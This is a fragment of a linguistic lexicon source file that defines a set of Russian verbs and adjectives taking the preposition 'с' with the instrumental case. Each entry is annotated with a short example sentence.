// Поэтому запрещаем по умолчанию его привязку к глаголам, а разрешенные глаголы перечислим.
#region ТВОРИТЕЛЬНЫЙ
wordentry_set Гл_С_Твор={
rus_verbs:помогать{}, // будет готов помогать врачам в онкологическом центре с постановкой верных диагнозов
rus_verbs:перепихнуться{}, // неужели ты не хочешь со мной перепихнуться
rus_verbs:забраться{},
rus_verbs:ДРАТЬСЯ{}, // Мои же собственные ратники забросали бы меня гнилой капустой, и мне пришлось бы драться с каждым рыцарем в стране, чтобы доказать свою смелость. (ДРАТЬСЯ/БИТЬСЯ/ПОДРАТЬСЯ)
rus_verbs:БИТЬСЯ{}, //
rus_verbs:ПОДРАТЬСЯ{}, //
прилагательное:СХОЖИЙ{}, // Не был ли он схожим с одним из живых языков Земли (СХОЖИЙ)
rus_verbs:ВСТУПИТЬ{}, // Он намеревался вступить с Вольфом в ближний бой. (ВСТУПИТЬ)
rus_verbs:КОРРЕЛИРОВАТЬ{}, // Это коррелирует с традиционно сильными направлениями московской математической школы. (КОРРЕЛИРОВАТЬ)
rus_verbs:УВИДЕТЬСЯ{}, // Он проигнорирует истерические протесты жены и увидится сначала с доктором, а затем с психотерапевтом (УВИДЕТЬСЯ)
rus_verbs:ОЧНУТЬСЯ{}, // Когда он очнулся с болью в левой стороне черепа, у него возникло пугающее ощущение. (ОЧНУТЬСЯ)
прилагательное:сходный{}, // Мозг этих существ сходен по размерам с мозгом динозавра
rus_verbs:накрыться{}, // Было холодно, и он накрылся с головой одеялом.
rus_verbs:РАСПРЕДЕЛИТЬ{}, // Бюджет распределят с участием горожан (РАСПРЕДЕЛИТЬ)
rus_verbs:НАБРОСИТЬСЯ{}, // Пьяный водитель набросился с ножом на сотрудников ГИБДД (НАБРОСИТЬСЯ)
rus_verbs:БРОСИТЬСЯ{}, // она со смехом бросилась прочь (БРОСИТЬСЯ)
rus_verbs:КОНТАКТИРОВАТЬ{}, // Электронным магазинам стоит контактировать с клиентами (КОНТАКТИРОВАТЬ)
rus_verbs:ВИДЕТЬСЯ{}, // Тогда мы редко виделись друг с другом
rus_verbs:сесть{}, // сел в него с дорожной сумкой , наполненной наркотиками
rus_verbs:купить{}, // Мы купили с ним одну и ту же книгу
rus_verbs:ПРИМЕНЯТЬ{}, // Меры по стимулированию спроса в РФ следует применять с осторожностью (ПРИМЕНЯТЬ)
rus_verbs:УЙТИ{}, // ты мог бы уйти со мной (УЙТИ)
rus_verbs:ЖДАТЬ{}, // С нарастающим любопытством ждем результатов аудита золотых хранилищ европейских и американских центробанков (ЖДАТЬ)
rus_verbs:ГОСПИТАЛИЗИРОВАТЬ{}, // Мэра Твери, участвовавшего в спартакиаде, госпитализировали с инфарктом (ГОСПИТАЛИЗИРОВАТЬ)
rus_verbs:ЗАХЛОПНУТЬСЯ{}, // она захлопнулась со звоном (ЗАХЛОПНУТЬСЯ)
rus_verbs:ОТВЕРНУТЬСЯ{}, // она со вздохом отвернулась (ОТВЕРНУТЬСЯ)
rus_verbs:отправить{}, // вы можете отправить со мной человека
rus_verbs:выступать{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам
rus_verbs:ВЫЕЗЖАТЬ{}, // заключенные сами шьют куклы и иногда выезжают с представлениями в детский дом неподалеку (ВЫЕЗЖАТЬ С твор)
rus_verbs:ПОКОНЧИТЬ{}, // со всем этим покончено (ПОКОНЧИТЬ С)
rus_verbs:ПОБЕЖАТЬ{}, // Дмитрий побежал со всеми (ПОБЕЖАТЬ С)
прилагательное:несовместимый{}, // характер ранений был несовместим с жизнью (НЕСОВМЕСТИМЫЙ С)
rus_verbs:ПОСЕТИТЬ{}, // Его кабинет местные тележурналисты посетили со скрытой камерой (ПОСЕТИТЬ С)
rus_verbs:СЛОЖИТЬСЯ{}, // сами банки принимают меры по урегулированию сложившейся с вкладчиками ситуации (СЛОЖИТЬСЯ С)
rus_verbs:ЗАСТАТЬ{}, // Молодой человек убил пенсионера , застав его в постели с женой (ЗАСТАТЬ С)
rus_verbs:ОЗНАКАМЛИВАТЬСЯ{}, // при заполнении заявления владельцы судов ознакамливаются с режимом (ОЗНАКАМЛИВАТЬСЯ С)
rus_verbs:СООБРАЗОВЫВАТЬ{}, // И все свои задачи мы сообразовываем с этим пониманием (СООБРАЗОВЫВАТЬ С)
rus_verbs:СВЫКАТЬСЯ{},
rus_verbs:стаскиваться{},
rus_verbs:спиливаться{},
rus_verbs:КОНКУРИРОВАТЬ{}, // Бедные и менее развитые страны не могут конкурировать с этими субсидиями (КОНКУРИРОВАТЬ С)
rus_verbs:ВЫРВАТЬСЯ{}, // тот с трудом вырвался (ВЫРВАТЬСЯ С твор)
rus_verbs:СОБРАТЬСЯ{}, // нужно собраться с силами (СОБРАТЬСЯ С)
rus_verbs:УДАВАТЬСЯ{}, // удавалось это с трудом (УДАВАТЬСЯ С)
rus_verbs:РАСПАХНУТЬСЯ{}, // дверь с треском распахнулась (РАСПАХНУТЬСЯ С)
rus_verbs:НАБЛЮДАТЬ{}, // Олег наблюдал с любопытством (НАБЛЮДАТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // затем с силой потянул (ПОТЯНУТЬ С)
rus_verbs:КИВНУТЬ{}, // Питер с трудом кивнул (КИВНУТЬ С)
rus_verbs:СГЛОТНУТЬ{}, // Борис с трудом сглотнул (СГЛОТНУТЬ С)
rus_verbs:ЗАБРАТЬ{}, // забрать его с собой (ЗАБРАТЬ С)
rus_verbs:ОТКРЫТЬСЯ{}, // дверь с шипением открылась (ОТКРЫТЬСЯ С)
rus_verbs:ОТОРВАТЬ{}, // с усилием оторвал взгляд (ОТОРВАТЬ С твор)
rus_verbs:ОГЛЯДЕТЬСЯ{}, // Рома с любопытством огляделся (ОГЛЯДЕТЬСЯ С)
rus_verbs:ФЫРКНУТЬ{}, // турок фыркнул с отвращением (ФЫРКНУТЬ С)
rus_verbs:согласиться{}, // с этим согласились все (согласиться с)
rus_verbs:ПОСЫПАТЬСЯ{}, // с грохотом посыпались камни (ПОСЫПАТЬСЯ С твор)
rus_verbs:ВЗДОХНУТЬ{}, // Алиса вздохнула с облегчением (ВЗДОХНУТЬ С)
rus_verbs:ОБЕРНУТЬСЯ{}, // та с удивлением обернулась (ОБЕРНУТЬСЯ С)
rus_verbs:ХМЫКНУТЬ{}, // Алексей хмыкнул с сомнением (ХМЫКНУТЬ С твор)
rus_verbs:ВЫЕХАТЬ{}, // они выехали с рассветом (ВЫЕХАТЬ С твор)
rus_verbs:ВЫДОХНУТЬ{}, // Владимир выдохнул с облегчением (ВЫДОХНУТЬ С)
rus_verbs:УХМЫЛЬНУТЬСЯ{}, // Кеша ухмыльнулся с сомнением (УХМЫЛЬНУТЬСЯ С)
rus_verbs:НЕСТИСЬ{}, // тот несся с криком (НЕСТИСЬ С твор)
rus_verbs:ПАДАТЬ{}, // падают с глухим стуком (ПАДАТЬ С твор)
rus_verbs:ТВОРИТЬСЯ{}, // странное творилось с глазами (ТВОРИТЬСЯ С твор)
rus_verbs:УХОДИТЬ{}, // с ними уходили эльфы (УХОДИТЬ С твор)
rus_verbs:СКАКАТЬ{}, // скакали тут с топорами (СКАКАТЬ С твор)
rus_verbs:ЕСТЬ{}, // здесь едят с зеленью (ЕСТЬ С твор)
rus_verbs:ПОЯВИТЬСЯ{}, // с рассветом появились птицы (ПОЯВИТЬСЯ С твор)
rus_verbs:ВСКОЧИТЬ{}, // Олег вскочил с готовностью (ВСКОЧИТЬ С твор)
rus_verbs:БЫТЬ{}, // хочу быть с тобой (БЫТЬ С твор)
rus_verbs:ПОКАЧАТЬ{}, // с сомнением покачал головой. (ПОКАЧАТЬ С СОМНЕНИЕМ)
rus_verbs:ВЫРУГАТЬСЯ{}, // капитан с чувством выругался (ВЫРУГАТЬСЯ С ЧУВСТВОМ)
rus_verbs:ОТКРЫТЬ{}, // с трудом открыл глаза (ОТКРЫТЬ С ТРУДОМ, таких много)
rus_verbs:ПОЛУЧИТЬСЯ{}, // забавно получилось с ним (ПОЛУЧИТЬСЯ С)
rus_verbs:ВЫБЕЖАТЬ{}, // старый выбежал с копьем (ВЫБЕЖАТЬ С)
rus_verbs:ГОТОВИТЬСЯ{}, // Большинство компотов готовится с использованием сахара (ГОТОВИТЬСЯ С)
rus_verbs:ПОДИСКУТИРОВАТЬ{}, // я бы подискутировал с Андрюхой (ПОДИСКУТИРОВАТЬ С)
rus_verbs:ТУСИТЬ{}, // кто тусил со Светкой (ТУСИТЬ С)
rus_verbs:БЕЖАТЬ{}, // куда она бежит со всеми? (БЕЖАТЬ С твор)
rus_verbs:ГОРЕТЬ{}, // ты горел со своим кораблем? (ГОРЕТЬ С)
rus_verbs:ВЫПИТЬ{}, // хотите выпить со мной чаю? (ВЫПИТЬ С)
rus_verbs:МЕНЯТЬСЯ{}, // Я меняюсь с товарищем книгами. (МЕНЯТЬСЯ С)
rus_verbs:ВАЛЯТЬСЯ{}, // Он уже неделю валяется с гриппом. (ВАЛЯТЬСЯ С)
rus_verbs:ПИТЬ{}, // вы даже будете пить со мной пиво. (ПИТЬ С)
инфинитив:кристаллизоваться{ вид:соверш }, // После этого пересыщенный раствор кристаллизуется с образованием кристаллов сахара.
инфинитив:кристаллизоваться{ вид:несоверш },
глагол:кристаллизоваться{ вид:соверш },
глагол:кристаллизоваться{ вид:несоверш },
rus_verbs:ПООБЩАТЬСЯ{}, // пообщайся с Борисом (ПООБЩАТЬСЯ С)
rus_verbs:ОБМЕНЯТЬСЯ{}, // Миша обменялся с Петей марками (ОБМЕНЯТЬСЯ С)
rus_verbs:ПРОХОДИТЬ{}, // мы с тобой сегодня весь день проходили с вещами. (ПРОХОДИТЬ С)
rus_verbs:ВСТАТЬ{}, // Он занимался всю ночь и встал с головной болью. (ВСТАТЬ С)
rus_verbs:ПОВРЕМЕНИТЬ{}, // МВФ рекомендует Ирландии повременить с мерами экономии (ПОВРЕМЕНИТЬ С)
rus_verbs:ГЛЯДЕТЬ{}, // Её глаза глядели с мягкой грустью. (ГЛЯДЕТЬ С + твор)
rus_verbs:ВЫСКОЧИТЬ{}, // Зачем ты выскочил со своим замечанием? (ВЫСКОЧИТЬ С)
rus_verbs:НЕСТИ{}, // плот несло со страшной силой. (НЕСТИ С)
rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с)
rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с)
rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с)
rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с)
rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело.
rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором
rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором
rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором
rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором
rus_verbs:стирать{}, // стирать с мылом рубашку в тазу
rus_verbs:прыгать{}, // парашютист прыгает с парашютом
rus_verbs:выступить{}, // Он выступил с приветствием съезду.
rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят.
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой.
rus_verbs:вставать{}, // он встаёт с зарёй
rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером.
rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью.
rus_verbs:договориться{}, // мы договоримся с вами
rus_verbs:побыть{}, // он хотел побыть с тобой
rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью
rus_verbs:вязаться{}, // вязаться с фактами
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:относиться{}, // относиться с пониманием
rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов.
rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней
rus_verbs:гулять{}, // бабушка гуляет с внуком
rus_verbs:разбираться{}, // разбираться с задачей
rus_verbs:сверить{}, // Данные были сверены с эталонными значениями
rus_verbs:делать{}, // Что делать со старым телефоном
rus_verbs:осматривать{}, // осматривать с удивлением
rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре
rus_verbs:попрощаться{}, // попрощаться с талантливым актером
rus_verbs:задремать{}, // задремать с кружкой чая в руке
rus_verbs:связать{}, // связать катастрофу с действиями конкурентов
rus_verbs:носиться{}, // носиться с безумной идеей
rus_verbs:кончать{}, // кончать с собой
rus_verbs:обмениваться{}, // обмениваться с собеседниками
rus_verbs:переговариваться{}, // переговариваться с маяком
rus_verbs:общаться{}, // общаться с полицией
rus_verbs:завершить{}, // завершить с ошибкой
rus_verbs:обняться{}, // обняться с подругой
rus_verbs:сливаться{}, // сливаться с фоном
rus_verbs:смешаться{}, // смешаться с толпой
rus_verbs:договариваться{}, // договариваться с потерпевшим
rus_verbs:обедать{}, // обедать с гостями
rus_verbs:сообщаться{}, // сообщаться с подземной рекой
rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц
rus_verbs:читаться{}, // читаться с трудом
rus_verbs:смириться{}, // смириться с утратой
rus_verbs:разделить{}, // разделить с другими ответственность
rus_verbs:роднить{}, // роднить с медведем
rus_verbs:медлить{}, // медлить с ответом
rus_verbs:скрестить{}, // скрестить с ужом
rus_verbs:покоиться{}, // покоиться с миром
rus_verbs:делиться{}, // делиться с друзьями
rus_verbs:познакомить{}, // познакомить с Олей
rus_verbs:порвать{}, // порвать с Олей
rus_verbs:завязать{}, // завязать с Олей знакомство
rus_verbs:суетиться{}, // суетиться с изданием романа
rus_verbs:соединиться{}, // соединиться с сервером
rus_verbs:справляться{}, // справляться с нуждой
rus_verbs:замешкаться{}, // замешкаться с ответом
rus_verbs:поссориться{}, // поссориться с подругой
rus_verbs:ссориться{}, // ссориться с друзьями
rus_verbs:торопить{}, // торопить с решением
rus_verbs:поздравить{}, // поздравить с победой
rus_verbs:проститься{}, // проститься с человеком
rus_verbs:поработать{}, // поработать с деревом
rus_verbs:приключиться{}, // приключиться с Колей
rus_verbs:сговориться{}, // сговориться с Ваней
rus_verbs:отъехать{}, // отъехать с ревом
rus_verbs:объединять{}, // объединять с другой кампанией
rus_verbs:употребить{}, // употребить с молоком
rus_verbs:перепутать{}, // перепутать с другой книгой
rus_verbs:запоздать{}, // запоздать с ответом
rus_verbs:подружиться{}, // подружиться с другими детьми
rus_verbs:дружить{}, // дружить с Сережей
rus_verbs:поравняться{}, // поравняться с финишной чертой
rus_verbs:ужинать{}, // ужинать с гостями
rus_verbs:расставаться{}, // расставаться с приятелями
rus_verbs:завтракать{}, // завтракать с семьей
rus_verbs:объединиться{}, // объединиться с соседями
rus_verbs:сменяться{}, // сменяться с напарником
rus_verbs:соединить{}, // соединить с сетью
rus_verbs:разговориться{}, // разговориться с охранником
rus_verbs:преподнести{}, // преподнести с помпой
rus_verbs:напечатать{}, // напечатать с картинками
rus_verbs:соединять{}, // соединять с сетью
rus_verbs:расправиться{}, // расправиться с беззащитным человеком
rus_verbs:распрощаться{}, // распрощаться с деньгами
rus_verbs:сравнить{}, // сравнить с конкурентами
rus_verbs:ознакомиться{}, // ознакомиться с выступлением
инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой
деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{},
rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия
rus_verbs:прощаться{}, // прощаться с боевым товарищем
rus_verbs:сравнивать{}, // сравнивать с конкурентами
rus_verbs:складывать{}, // складывать с весом упаковки
rus_verbs:повестись{}, // повестись с ворами
rus_verbs:столкнуть{}, // столкнуть с отбойником
rus_verbs:переглядываться{}, // переглядываться с соседом
rus_verbs:поторопить{}, // поторопить с откликом
rus_verbs:развлекаться{}, // развлекаться с подружками
rus_verbs:заговаривать{}, // заговаривать с незнакомцами
rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой
инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим
деепричастие:согласуясь{}, прилагательное:согласующийся{},
rus_verbs:совпасть{}, // совпасть с оригиналом
rus_verbs:соединяться{}, // соединяться с куратором
rus_verbs:повстречаться{}, // повстречаться с героями
rus_verbs:поужинать{}, // поужинать с родителями
rus_verbs:развестись{}, // развестись с первым мужем
rus_verbs:переговорить{}, // переговорить с коллегами
rus_verbs:сцепиться{}, // сцепиться с бродячей собакой
rus_verbs:сожрать{}, // сожрать с потрохами
rus_verbs:побеседовать{}, // побеседовать со шпаной
rus_verbs:поиграть{}, // поиграть с котятами
rus_verbs:сцепить{}, // сцепить с тягачом
rus_verbs:помириться{}, // помириться с подружкой
rus_verbs:связываться{}, // связываться с бандитами
rus_verbs:совещаться{}, // совещаться с мастерами
rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой
rus_verbs:переплестись{}, // переплестись с кустами
rus_verbs:мутить{}, // мутить с одногрупницами
rus_verbs:приглядываться{}, // приглядываться с интересом
rus_verbs:сблизиться{}, // сблизиться с врагами
rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой
rus_verbs:растереть{}, // растереть с солью
rus_verbs:смешиваться{}, // смешиваться с известью
rus_verbs:соприкоснуться{}, // соприкоснуться с тайной
rus_verbs:ладить{}, // ладить с родственниками
rus_verbs:сотрудничать{}, // сотрудничать с органами дознания
rus_verbs:съехаться{}, // съехаться с родственниками
rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов
rus_verbs:советоваться{}, // советоваться с отчимом
rus_verbs:сравниться{}, // сравниться с лучшими
rus_verbs:знакомиться{}, // знакомиться с абитуриентами
rus_verbs:нырять{}, // нырять с аквалангом
rus_verbs:забавляться{}, // забавляться с куклой
rus_verbs:перекликаться{}, // перекликаться с другой статьей
rus_verbs:тренироваться{}, // тренироваться с партнершей
rus_verbs:поспорить{}, // поспорить с казночеем
инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком
деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш },
rus_verbs:примириться{}, // примириться с утратой
rus_verbs:раскланяться{}, // раскланяться с фрейлинами
rus_verbs:слечь{}, // слечь с ангиной
rus_verbs:соприкасаться{}, // соприкасаться со стеной
rus_verbs:смешать{}, // смешать с грязью
rus_verbs:пересекаться{}, // пересекаться с трассой
rus_verbs:путать{}, // путать с государственной шерстью
rus_verbs:поболтать{}, // поболтать с ученицами
rus_verbs:здороваться{}, // здороваться с профессором
rus_verbs:просчитаться{}, // просчитаться с покупкой
rus_verbs:сторожить{}, // сторожить с собакой
rus_verbs:обыскивать{}, // обыскивать с собаками
rus_verbs:переплетаться{}, // переплетаться с другой веткой
rus_verbs:обниматься{}, // обниматься с Ксюшей
rus_verbs:объединяться{}, // объединяться с конкурентами
rus_verbs:погорячиться{}, // погорячиться с покупкой
rus_verbs:мыться{}, // мыться с мылом
rus_verbs:свериться{}, // свериться с эталоном
rus_verbs:разделаться{}, // разделаться с кем-то
rus_verbs:чередоваться{}, // чередоваться с партнером
rus_verbs:налететь{}, // налететь с соратниками
rus_verbs:поспать{}, // поспать с включенным светом
rus_verbs:управиться{}, // управиться с собакой
rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
